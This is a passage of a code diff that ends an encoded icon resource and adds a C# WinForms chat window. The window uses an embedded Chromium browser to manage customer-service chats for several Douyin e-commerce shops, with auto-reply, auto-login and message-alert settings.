+Pj/np+k/0VHUP8RFB//ExYh/zE0Pf9maG//XF5l/6qorP8XnbX/Jd37/yXX9f8l1/T/Jdf1/yLX9f8/ + 2/Xt7PHzI////wD///8A////AP///wD///8A////AP///wD///8Aq+/6lSPX9P4l1/X/Jdf1/yXX9f8m + 3/z/H4ic/x4tOf85O0P/zMvL/+rp6f////////////////////////////////////////////////// + ///////////////Y2dr/Fxol/xIVIP8VGCP/FRgj/xMWIf8QEx//HB4o/0BIUf8bpb//Jdz6/yXZ9v8l + 1/T/Jdf0/yXX9f8d1vT/suXtgf39/QL///8A////AP///wD///8A////AP///wD8/v4NRNz17CPX9P8l + 1/T/Jdf1/ybf/P8fgZb/Lyoz/7e2t/8oKzX/jY2R/9rY2P////////////////////////////////// + ///////////////////////////////o6On/HB8p/xQXIv8VGCP/FRgj/xUYI/8VGCP/FBci/xMVIP84 + NDz/HWx+/yPS7v8l1/X/Jdf0/yXX9P8l1/T/bOT3yeXp6h////8A////AP///wD///8A////AP7+/gHL + 8/lvHtDt/yXW8/8l2/j/Jdn1/x6Kn/8nIyv/trW2//r5+f+1trr/Q0VN/76+v//l5OT//v7+//////// + ////////////////////////////////////////////////////TVBX/xEUH/8VGCP/FRgj/xUYI/8V + GCP/FBci/xodJ/+6ubr/nZmc/zxygP8hxeD/Jdr3/yXX9P8l1/X/O9z27snb3kn///8A////AP///wD/ + //8A6+vrFq2usHZHanbjIlpq/x9pe/8aiZ//HJSp/yQ6Rf+wr7H/zc7P/8HBxP/9/f3/dXd9/3Z3fP/Z + 2Nf/8vLx///////09PT/1NTV/7a2t/+kpKb/oKCi/6Ojpf+ysbL/zMvL/+no5////v7/oKGl/xcaJf8V + GCP/FRgj/xUYI/8VGCP/ExYh/zE0Pf/W1dX/0dDQ/6+srf83XWr/IMHb/ybf/P8m3Pr/JM3p/qzd5o3y + 8vIT////AP///wD///8Ag4SJsEdJUP++vb7/0c/P/7+6u/+IfoL/PTlB/4mIjP//////fH2B/yMlLf// + ////3d7f/z9BSv+YmJv/n5+h/1paX/8jJS3/HCMw/yo2SP84SV//QVVt/0Rac/9BVm//PE5k/z5KXP9N + Ulz/bm5z/yAiKv8UFyL/FRgj/xUYIv8VGCP/EBMf/2Jja///////7u7u/9rZ2f/DvLz/Lmh3/x6bs/8R + SFj/GScy/y8xOv85O0Pztre5fPf39wrBwcN7Ky43/7Cws//y8vP/////////////////8O/v//Ly8v/f + 3+H/OTxE/xEUH/9OUFj/QEJL/xkbJv8iKDX/RVNn/2mEnv+Krc7/ncTp/6TO9f+l0Pj/pdD5/6XR+f+j + z/n/os73/53I8f+QueD/ep2//152kP83RFT/HCAs/xMWIP8VGCP/FRci/5SVmv////////////v7+//u + 7u7/m5qd/1VUWv+YkpX/y8nK/+Hg4P/c29z/kZKW98TExoY1OEHiZGZs/1lcY/9RU1v/m5yg/+nq6/// + ////+/v7/7Kzt/85O0X/EhUg/xUYI/8RFB7/FBgj/1Vkd/+WtND/qs7u/6/U9v+u0/b/rNHz/6vQ8/+v + 1vf/rNLx/6fO7P+r0vL/q9P2/6fO8/+mzvP/p8/1/6XN8/+dxOj/epi1/zlEVf8PERr/IyYv/8PDxv// + ////////////////////8vLy/+rq6v/9/f3////////////+/v7/8vLy/4+QleojJi/pp6ir//z8/P+4 + ubz/XmFn/7u8v///////8PHx/2dpcP8iJS//DRAb/xIVIP8MDRf/dYid/7zd+/+31/X/ttb0/7XW9P+0 + 1vT/tdb1/7TW8/9zkbL/O0+a/y8/nP89UZz/epi+/7DU8v+u0fP/rdHz/6zR8/+s0fL/rtT3/63S9f9V + Znr/Fhgi/4ODiP////////////r6+v+9vsD/9PT0/////////////////////////////////8rKzPOx + sbSOX2Bn//Hx8v/////////////////////////////////y8vL/ra6x/ywuOP92hpj/xuL8/8Hd9/+/ + 3Pb/v9v2/77b9f+92vX/ttPt/1RroP8UGLH/GBnJ/xoayv8YGcn/GB6w/1ZtrP+62/b/t9f1/7bW9P+0 + 1fT/tNX0/7TW9v+53fz/ZHeL/xQnNP9WWGD/4uLj/3x+g/8DBAv/pKWp//////////////////////// + /////////72+wfTu7u4We3uBwGtnbf7Ixsj/+fn5///////////////////////29vb/cnJ5/1Rcav/Q + 6Pn/yuP4/8nh+P/I4fj/x+D3/8fg9//J4vn/lKzH/xQqW/8PG4r/FRq0/xMar/8UFsP/FxfM/xoiqP+d + utD/w+D6/77b9v+92/b/vdr2/7za9f+72vb/s87p/1B1h/8TT1//TktS/ywuN/8OERz/cHJ4//j5+f// + ////////////////////6+vs/5SUmtr///8A8PHxEoClrqwKIC3/T1BY/9fY2v///////////////v9m + cXj/ECAt/5imtf/W6vz/0+f5/9Lm+P/R5vj/0eb4/8/l+P/Y7v//ZXuZ/0lZdv+hqrP/tbvI/6asyP+E + i73/U1uu/xYkdv9YcJD/zuf8/8fg9//G3/f/xt/3/8Tf9//E3vf/xuH5/6Cvwv8bh5v/G2N1/xMRG/8V + GSP/Gh0o/2dpcP+goab/2drb///////CwcT/XmBo7ODg4Vb///8A////AJPK0oMh1/T/Hz5M/7m4uv// + /////////97Z2v8hZXb/L0ZT/8LO1v/b7Pr/2+v6/9rr+v/a6/r/2er5/9jq+f/i9P7/bH+c/6Oxw//S + 3uv/ydjl/8fW4//F09//w9HZ/6ayv/9DV3j/yt/z/9Hm+f/P5Pj/zuT4/83k+P/N4/j/zOT4/83g9f9F + Znb/Icvl/yCBlP8UGCL/IyYv/zk6Q/9tb3X/w8PF/26Bif+XqrCX5OTkKP7+/gH///8A////AKrR2G4f + 3/7/JkdU/8TBxP//////9fPz/36Lk/8esMr/M0JO/87W2v/l8fz/5PH8/+Pw/P/j8Pz/4u/7/+Hv+//i + 8Pz/0d/t/9rp9//c7Pr/3Oz6/9zs+v/a6/r/2On4/9Tl8/+xwtb/0uPz/9nq+v/Y6vr/1+n6/9bp+f/W + 6fn/1ej5/9zv/f96go//HbbQ/ybd+P8WS1v/bGht/+Pj5P/9/f3/8u/v/2mOmffz/f4c////AP///wD/ + //8A////AMrg5Ewe3fz/HXaK/0E7Q/+on6L/aWhv/yGPpP8n5///H0ZU/6eqsP/2/f//7fX9/+z1/f/r + 9f3/6/T9/+r0/f/s9v//7fj//+n0/v/n8vz/5vL8/+Xx/P/l8fz/5/P+/+f0///k8f3/4vD8/+Hv+//g + 7/z/4O77/9/t+//e7fv/3e37/+T0/v+Vl6P/HarD/yXe/P8lu9X/LTA5/8/O0P//////9PHx/4SaouL+ + /v8D////AP///wD///8A////AO3y9CAu1/T5JNPw/x6cs/8Yeo7/HanC/yXX9f8l2vj/IKC3/zBET/+0 + tbn/5+nq//L3+v/2+v7/9Pr+/+3z9/+nrbX/nKGq/77Eyf/t9Pn/7/f9/+/3/v/b4ub/qbG7/5+nsf/J + 0tj/7PX9/+r0/f/p8/z/6fP8/+jy/P/n8vz/5vL8/+/6/v+Eh5H/HbTO/yXa9/8m3vz/Houh/zRMWP+C + ipD/ZH2H/4nAy7X///8A////AP///wD///8A////APv7+wR55fjEINf1/yXa+P8m2vj/Jdr4/yXX9f8l + 1/X/Jdbz/yCmv/8gOET/U1Ja/4SGjf/ExMf/+vv8/+3v8P9NUFn/FRcj/yEkL//Hys7/+/3///v9//9+ + gor/Exci/xYZJP99gYj/9/z///f7/v/5/P7/9Pr+//D4/v/w9/7/9Pr+/9nY3P83Z3b/ItPw/yXY9f8l + 1/X/Jdbz/yG61P8forr/ILfR/sDy+nr///8A////AP///wD///8A////AP///wDY9/1gHtb0/yXX9P8l + 1/T/Jdf0/yXX9P8l1/X/Jdf0/ybg/P8VVGb/fnl+//Ly8v/AwMP/kpOY/+np6v//////1tfZ/87P0v/9 + /f3////////////7/Pz/zc7Q/9rb3f///////v///9jZ3P+wsrf/6Ors//7/////////0M/R/0ZdZ/8g + yOT/Jtr3/yXX9f8l1/X/Jdf0/yXX9f8l2Pb/Pdv27Oj6/UP///8A////AP///wD///8A////AP///wD4 + +voNVt/23iPX9P8l1/T/Jdf1/yXX9P8l1/X/Jdf1/ybe/P8XZHb/eHN4//3+/v//////3d7f/52fo/+c + naL/xcXI/9PT1v/h4uP/6urr/+vr7P/k5OX/1dXX/8XFyP+jpKj/e32C/3x9g/+NjpP/cHJ4/3R2fP9v + cHb/MFJf/x+50/8m2/n/Jdf0/yXX9P8l1/X/Jdf1/yXX9P8j1/X/eub4wOrt7Rr///8A////AP///wD/ + //8A////AP///wD///8AuvL7iCPX9P4l1/X/Jdf1/yXX9f8l1/T/Jdz5/ybi/v8fi6D/WlZd//Pz9P// + //////////j4+P/Z2dv/mpug/46PlP+Fh4z/gIGH/35/hf97fYP/g4SK/5udof+xsrb/vr7C//X29v// + ////8/P0/+Pj5P/d3t//SYWT/yHV8f8l2vf/Jdf0/yXX9P8l1/X/Jdf1/yXX9f8b1fT/tNzidf39/QL/ + //8A////AP///wD///8A////AP///wD///8A0tnbNVDe9t8l1/T/Jdf1/yXX9f8m4v//IKa+/xFKW/8Z + Kjb/PUBI/93d3//////////////////Gx8r/DhId/2xudf////////////////////////////////9X + WWH/FRYf/7i4vP/////////////////s6+z/JDA7/xZcbv8hyOX/Jt37/yXX9f8l1/X/Jdf1/yLW9P8+ + 2/Xw9ff3Ff///wD///8A////AP///wD///8A////AP///wD///8A+Pj4CKri7I4e1vT/Jdj1/yXN6v8Z + YXP/T1FY/6yoq//X1tj/iYuQ/6+wtP////////////////+dn6P/ISQu/2lsc/////////////////// + //////////P09P8lKDL/P0FK/6qrr/////////////39/f9sbnT/lpaa/8O9v/9mc3z/JaG5/yTX9P8l + 1/T/JNf1/y/Y9fXk+v1W////AP///wD///8A////AP///wD///8A////AP///wD///8A////APL19Rxj + 4vfWINb0/xpxhf9JRU3/5OPk/9/g4f9vcXf/iYuQ/3Z1e//Gx8n/l5ic/8PEx//u7+//oaKm/9HS1P// + //////////////////////////7+/v+4ubz/pKWp/+np6v///////////8HBxP9DRk7/X2Fo/6Wmqv/0 + 8fH/d5We/yO92P8l1/X/Itb0/qfu+p/8/P0D////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD6/v8kNcfd8xo4Rf/h4eL/+/v7/6ytsf/s7O3/0tXX/zBNXP96en//MDE5/wcJE/8+ + QEn/4OHi////////////////////////////////////////////////////////////5+fo/0NCSv+0 + sLP/6enq/25vdv/c3d//z9HT/zWdsf8k3Pr/ZOL3097i4yn///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8AxtbZckhRWfn//////f39//r4+P/Y4ub/W6G3/yeZvP8Z + Ii3/bGxx/zw+R/8KDRj/NjhB/7S0uP/j4+T/m5yh/0dJUf9qbHL/8vLy///////////////////////j + 4uP/ZGVr/y1pfv9Bkaj/tcXL/+rq6v/m5uj/6OXl/0uSov9B5v/o0uLkTP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8Az8/QV1xgZ/jr8fP/0uDl/5fF0/9E + n7v/I2+J/xs7Tf8VVXf/Iy47/2BfZf9cX2b/Ghwn/x8hK/89P0j/Gh0n/w0QG/8XGiT/5+jp//////// + ////+vn5/7q1t/9CUV//FEVi/xwvPv8wbYD/SqK5/4bA0P++1tz/ytHU/22VoOfp+vxJ/f39Av///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A3d3dSi0zPe8g + Q1X/FUxi/xZDV/8cPEn/IGh5/xlcfv8Ro+j/Jp/K/xdAU/88PUX/dnV6/1RWXf8vMTr/HyIt/xcaJf9i + ZGv////////////b19j/aG52/x9acf8msOL/E5LQ/xxgev8daXv/GSQv/yE/T/8hT2L/GDlK/6iqro// + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A+fn5B9jY2Tiwr7FhpbCzemG/0M4j3Pj/H4Sc/xR8sP8hruX/MMHp/yVzjP8VMD3/H11u/z1dav9c + anP/aXJ5/3F5gP9/iY//coeP/0l3hP8hanz/FDZF/yeKqP8yzPj/Hani/xdrlf8mvNX/I8rm/yemvPlt + s77GvsHDVvX19RP///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A/Pz8A9vi4yqg9P+YJ2mA9haQyP8vy/n/I2eA/xxTY/8k + w9v/JdTy/yLD3v8gr8n/IqW9/yOhuf8hp7//ILfS/yHK5v8l1/X/I6m//xtATv8og6D/KL/y/xZ+sv8e + h5v/QeT96bby/X7o7Owc////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AW3WH0Bme1v8x + veT/GTVD/yO91P8l2Pb/Jdf1/yXX9P8l1/X/Jdj2/yXZ9/8l2Pb/Jdf1/yXX9f8l1/T/Jdz4/yGarv8W + Ex3/K7bi/xWLwv9ikJ3O5O/wK////wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8AeIeStRyd0f8qjq3/PF9s5Fzc8dA52vXuJtf0/SPX9f8j1/T/I9f0/yPX9P8j1/X/I9f1/yPX9f8k + 1/X/Kdr3+zzK4ekYFB37J5vB/xaBsf/W09NW////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8AwsTHdxx4oP0lgZ//g4aKpOHn6CfAztBEuvH7cJzs+pR75vi0ZOH3yV7h99Nc + 4fbTaOP4xYHn+a+g7PqMwfP8aNfq7kcfGCDyIIiu/0h9luH7+/sS////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A2dnZLVJbZdcVMUP/dHR5r/f39wn///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////APv7+wdcXGLYFy9A+tLT1m7///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A/v7+AdTU1EJvbnKY2tvbPv///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wDx8fEZ1tbWOvb29gr/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/ + //8A////AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= + + + \ No newline at end of file diff --git a/TEMUKJD/ChatForms/ChatForm.cs b/TEMUKJD/ChatForms/ChatForm.cs new file mode 100644 index 0000000..c478115 --- /dev/null +++ b/TEMUKJD/ChatForms/ChatForm.cs @@ -0,0 +1,1258 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.ChatForms.ChatHelper; +using LittleRabbit.ChatForms.ChatModel; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.ShopForms; +using LittleRabbit.LittleRabbitForms.ToolForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Media; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; + +namespace LittleRabbit.ChatForms +{ + public partial class ChatForm : Form + { + public delegate void SearchResultReceivedHandler(DouShopLoginInfo shop); + /// + /// 查询结果事件通知 + /// + public event SearchResultReceivedHandler SearchResultReceived; + + public delegate void InfomationReceivedHandler(string infomation); + /// + /// 消息事件通知,比如:异常等通知 + /// + /// + public event InfomationReceivedHandler InfomationReceived; + + public static DouShopLoginInfo currentShop = null; + //ChromiumWebBrowser mainWebBrowser = new ChromiumWebBrowser("https://im.jinritemai.com/pc_seller/main/chat?selfId=4292110529608375"); + ChromiumWebBrowser mainWebBrowser = null; + + /// + /// 弹出框列表 + /// + public static List lstChatMessageForm = new List(); + public static Dictionary dicRowColor = new Dictionary(); + + public int LocationXY = 0; + public int LocationSize = 200; + + private Point mouseOffset;//记录鼠标指针的坐标 + private bool isMouseDown;//记录鼠标左键是否按下 + + const int Guying_HTLEFT = 10; + const int Guying_HTRIGHT = 11; + const int Guying_HTTOP = 12; + const int Guying_HTTOPLEFT = 13; + const int Guying_HTTOPRIGHT = 14; + const int Guying_HTBOTTOM = 15; + const int Guying_HTBOTTOMLEFT = 0x10; + const int Guying_HTBOTTOMRIGHT = 17; + protected override void WndProc(ref Message m) + { + switch (m.Msg) + { + case 0x0084: + base.WndProc(ref m); + Point vPoint = new Point((int)m.LParam & 0xFFFF, + (int)m.LParam >> 16 & 0xFFFF); + vPoint = PointToClient(vPoint); + if (this.WindowState != FormWindowState.Maximized) + { + if (vPoint.X <= 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)Guying_HTTOPLEFT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)Guying_HTBOTTOMLEFT; + else m.Result = (IntPtr)Guying_HTLEFT; + else if (vPoint.X >= ClientSize.Width - 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)Guying_HTTOPRIGHT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)Guying_HTBOTTOMRIGHT; + else m.Result = (IntPtr)Guying_HTRIGHT; + else if (vPoint.Y <= 5) + m.Result = (IntPtr)Guying_HTTOP; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)Guying_HTBOTTOM; + } + break; + case 0x0201: //鼠标左键按下的消息 + m.Msg = 0x00A1; //更改消息为非客户区按下鼠标 + m.LParam = IntPtr.Zero; //默认值 + m.WParam = new IntPtr(2);//鼠标放在标题栏内 + base.WndProc(ref m); + break; + default: + base.WndProc(ref m); + break; + } + } + + public ChatForm() + { + InitializeComponent(); + this.MaximumSize = new Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height); + + ChatConfig.LoadChatSetting(); + this.FormClosed += ChatForm_FormClosed; + } + + private void ChatForm_FormClosed(object sender, FormClosedEventArgs e) + { + Process.GetCurrentProcess().Kill(); + } + + private void ChatForm_Load(object sender, EventArgs e) + { + if (BaseClass.LogoImage != null) + pbLogo.Image = BaseClass.LogoImage; + if (BaseClass.Ico != null) + this.Icon = BaseClass.Ico; + else + this.Icon = BaseClass.Ico = ImageBuild.ConvertToIcon(Properties.Resources.icon); + + SetTitle(); + + this.chkIsAutoReLogin.CheckedChanged -= chkIsAutoReLogin_CheckedChanged; + this.chkIsAutoReply.CheckedChanged -= chkIsAutoReply_CheckedChanged; + this.txtAutoReplyText.TextChanged -= txtAutoReplyText_TextChanged; + this.cmbMessage.SelectedIndexChanged -= cmbMessage_SelectedIndexChanged; + if (this.cmbMessage.Items.Contains(ChatConfig.ChatSettingConfig.MessageSound)) + this.cmbMessage.SelectedItem = ChatConfig.ChatSettingConfig.MessageSound; + else + this.cmbMessage.SelectedIndex = 0; + this.chkIsAutoReLogin.Checked = GlobalConfig.DouShopSettingParam.IsAutoDragLogin = ChatConfig.ChatSettingConfig.IsAutoReLogin; + this.chkIsAutoReply.Checked = ChatConfig.ChatSettingConfig.IsAutoReply; + this.txtAutoReplyText.Text = ChatConfig.ChatSettingConfig.AutoReplayText; + this.chkIsAutoReLogin.CheckedChanged += chkIsAutoReLogin_CheckedChanged; + this.chkIsAutoReply.CheckedChanged += chkIsAutoReply_CheckedChanged; + this.txtAutoReplyText.TextChanged += txtAutoReplyText_TextChanged; + this.cmbMessage.SelectedIndexChanged += cmbMessage_SelectedIndexChanged; + + SearchResultReceived += Chat_SearchResultReceived; + InfomationReceived += Collect_InfomationReceived; + + if (mainWebBrowser == null) + { + mainWebBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + mainWebBrowser.KeyboardHandler = new KeyboardHandler(); + mainWebBrowser.Dock = DockStyle.Fill; + var lifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.NewTitleWindow); + lifeSpanHandler.parent = mainWebBrowser; + lifeSpanHandler.OnPop += MainLifeHandler_OnPop; + mainWebBrowser.LifeSpanHandler = lifeSpanHandler; + //mainWebBrowser.AddressChanged += mainWebBrowser_UrlChanged; + mainWebBrowser.FrameLoadEnd += cefWebBrowser1_FrameLoadEnd; + mainPanel.Controls.Add(mainWebBrowser); + } + Task.Run(() => + { + // 直到店铺加载完后再加载客服内容 + while (!StartUp.IsShopInit) + Thread.Sleep(100); + + SetMainBrowserUrl(GlobalConfig.DouShopLoginList.FirstOrDefault()); + LoadShop(); + InitAutoExecute(); + }); + } + + public void SetTitle() + { + lblVersionInfo.Text = BaseClass.ToolName + " V" + BaseClass.Varsion + " - " + BaseClass.NickName; + lblVersionName.Text = "[" + BaseClass.UserVersionString + "]"; + Text = BaseClass.ShopName + "-" + BaseClass.ToolName; + } + + private void cefWebBrowser1_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + //ChromiumWebBrowser cefWebBrowser1 = (ChromiumWebBrowser)sender; + //string url = cefWebBrowser1.Address; + //if (url.Contains("/mallcenter/info/basic") && cefWebBrowser3.IsBrowserInitialized) + //{ + // Thread.Sleep(5000); + // var shop = GetShopLoginInfo.Shops.Find(s => s != null && s.ShopName == ShopName); + // string code = "document.getElementsByClassName('new-part')[1].innerHTML=\"
" + shop.Name + "?

当前状态不支持修改店铺名,您可一键开新店铺

\""; + // cefWebBrowser3.GetBrowser().MainFrame.ExecuteJavaScriptAsync(code); + //} + } + + private void Chat_SearchResultReceived(DouShopLoginInfo shop) + { + var r = dgvShop.Rows.Cast().FirstOrDefault(x => x.Cells["columnShopId"].Value.ToString() == shop.ShopAccountId); + if (r != null) + { + for (int i = 0; i < dgvShop.Rows.Count; i++) + { + var row = dgvShop.Rows[i]; + + if (row.Cells[0].Value.ToString() == shop.ShopAccountId && shop != currentShop) + { + if (ShopChatCount.ContainsKey(shop.ShopAccountId) && ShopChatCount[shop.ShopAccountId] > 0) + { + Task.Run(() => + { + for (int j = 0; j < 4; j++) + { + Invoke(new Action(() => { row.DefaultCellStyle.BackColor = Color.White; })); + Thread.Sleep(100); + Invoke(new Action(() => { row.DefaultCellStyle.BackColor = Color.FromArgb(245, 95, 50); })); + Thread.Sleep(100); + Invoke(new Action(() => { row.DefaultCellStyle.BackColor = Color.FromArgb(245, 45, 10); })); + Thread.Sleep(100); + } + }); + } + else if (row.DefaultCellStyle.BackColor != Color.White) + { + row.DefaultCellStyle.BackColor = Color.White; + } + break; + } + } + } + } + + private void RequestHandler_ResourceLoadComplete(object sender, string url, string postData, string responseData) + { + //{"check_spam_resp":{"decision":"PASS","verify_type":"","check_spam_detail":{}},"code":0,"data":{"reqId":"","action":null,"openStatus":2},"msg":"","request_arrived_time":1634629395771,"server_execution_end_time":1634629395782,"st":0} + //{"check_spam_resp":{"decision":"PASS","verify_type":"","check_spam_detail":{}},"code":0,"data":{"reqId":"","action":null,"openStatus":2},"msg":"","request_arrived_time":1634629395771,"server_execution_end_time":1634629395782,"st":0} + //{"ev_type":"batch","list":[{"ev_type":"http","payload":{"api":"xhr","request":{"url":"https://mssdk.snssdk.com/web/report?msToken=qPvfFS_fmS_qrYGcuc8r7tPrFv1vGGyKXz047DsUQwWwS71nflFsNILpxusx7CqhfcCoQqWRqYcsW3uWf8tDwormkmLX_Om59l2butcdH109&X-Bogus=DFSzswVLpIZCR-r8SzOrXdCr9FuN","protocol":"https","domain":"mssdk.snssdk.com","query":"msToken=qPvfFS_fmS_qrYGcuc8r7tPrFv1vGGyKXz047DsUQwWwS71nflFsNILpxusx7CqhfcCoQqWRqYcsW3uWf8tDwormkmLX_Om59l2butcdH109&X-Bogus=DFSzswVLpIZCR-r8SzOrXdCr9FuN","path":"/web/report","hash":"","method":"post","timestamp":1634629435132},"response":{"status":200,"is_custom_error":false,"timestamp":1634629435231,"headers":{"content-type":"text/plain; charset=utf-8"}},"duration":99},"common":{"bid":"mona_plugin","pid":"/pc_seller/main/chat","view_id":"/pc_seller/main/chat_1634628536182","user_id":"pigeon","device_id":"f24e230e-778c-46e5-a9b5-ed2df437c133","session_id":"f6dd538f-2d9d-4cb7-8c54-c06e238a71c8","release":"","env":"production","url":"https://im.jinritemai.com/pc_seller/main/chat","protocol":"https","domain":"im.jinritemai.com","path":"/pc_seller/main/chat","query":"","timestamp":1634629435132,"sdk_version":"0.3.10","sdk_name":"SDK_SLARDAR_WEB","context":{},"network_type":"4g","sample_rate":1}}]} + //{"check_spam_resp":{"decision":"PASS","verify_type":"","check_spam_detail":{}},"code":0,"data":{"count":8},"msg":"","page":0,"request_arrived_time":1634629460322,"server_execution_end_time":1634629460336,"size":0,"st":0,"total":0} + //{"check_spam_resp":{"decision":"PASS","verify_type":"","check_spam_detail":{}},"code":0,"data":{"count":1},"msg":"","page":0,"request_arrived_time":1634629460415,"server_execution_end_time":1634629460432,"size":0,"st":0,"total":0} + if (responseData.Contains("un_replay_customer_num") || responseData.Contains("你好")) + { + Task.Run(() => + { + }); + } + } + + private void Collect_InfomationReceived(string infomation) + { + //try + //{ + // this.Invoke(new Action(() => + // { + // lblMsg.Text = infomation; + // var data = infomation.Split(new string[] { ":" }, StringSplitOptions.RemoveEmptyEntries); + // if (data.Length == 2) + // { + // if (data[1] == FastCarCollect.FASTCAR_QUOTA_FINISH) + // { + // var shop = gridShop.Rows.Cast().FirstOrDefault(x => x.Cells["columnShopName"].Value.ToString() == data[0]); + // if (shop != null) + // { + // shop.Cells["columnMsg"].Value = data[1]; + // } + // } + // } + // if (infomation == "修改出价结束") + // this.btnStart.Enabled = true; + // if (infomation == "暂停推广结束") + // this.btnStop.Enabled = true; + // })); + //} + //catch { } + } + + void SearchNewMessageNofity(DouShopLoginInfo shop) + { + if (SearchResultReceived != null) + { + Task.Run(() => + { + SearchResultReceived(shop); + Thread.Sleep(1000); + }); + } + } + + void InfomationNotify(string msg) + { + if (InfomationReceived != null) + { + InfomationReceived(msg); + Thread.Sleep(200); + } + } + + public void DgvShopClick(DouShopLoginInfo shop) + { + + var r = dgvShop.Rows.Cast().FirstOrDefault(x => x.Cells["columnShopId"].Value.ToString() == shop.ShopAccountId); + if (r != null) + { + + r.Cells[0].Selected = true; + var sender = this.dgvShop; + DataGridViewCellEventArgs e = new DataGridViewCellEventArgs(0, r.Index); + dgvShop_CellClick(sender, e); + } + } + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + string shopId = dgvShop.Rows[e.RowIndex].Cells["ColumnShopID"].Value?.ToString(); + if (string.IsNullOrEmpty(shopId)) + return; + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + return; + + if (dgvShop.Columns[e.ColumnIndex].HeaderText == "登录状态" && dgvShop.Rows[e.RowIndex].Cells[e.ColumnIndex].Value?.ToString() == "未登录 点击登录") + { + Task.Run(() => + { + // 如需登录,引导至登录窗口,禁止从聊天窗口登录。 + Invoke(new Action(() => + { + // 登录抖音小店 + ShopLoginForm lf = new ShopLoginForm(shop); + lf.ShowDialog(); + if (ShopListForm.Instance == null) + ShopListForm.Instance = new ShopListForm(); + })); + + ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + LoadShop(new List() { shop }); + if (shop.LoginStatus == "登录成功") + { + ShowChat(shop); + while (shop.Chat.IsLoading) + { + Thread.Sleep(50); + } + } + }); + } + } + private void dgvShop_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + string shopId = dgvShop.Rows[e.RowIndex].Cells[0].Value?.ToString(); + if (string.IsNullOrEmpty(shopId)) + return; + + dgvShop.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.White; + var shop = GlobalConfig.DouShopLoginList.Where(s => s.ShopAccountId == shopId).FirstOrDefault(); + if (shop == null) + return; + + if (shop?.Chat != null) + { + //SetJsReaload(shop); + currentShop = shop; + shop.Chat.Dock = DockStyle.Fill; + shop.Chat.BringToFront(); + } + + Task.Run(() => + { + SetMainBrowserUrl(shop); + }); + } + + /// + /// 更新店铺后台首页 + /// + /// + private void SetMainBrowserUrl(DouShopLoginInfo shop) + { + if (shop == null) + return; 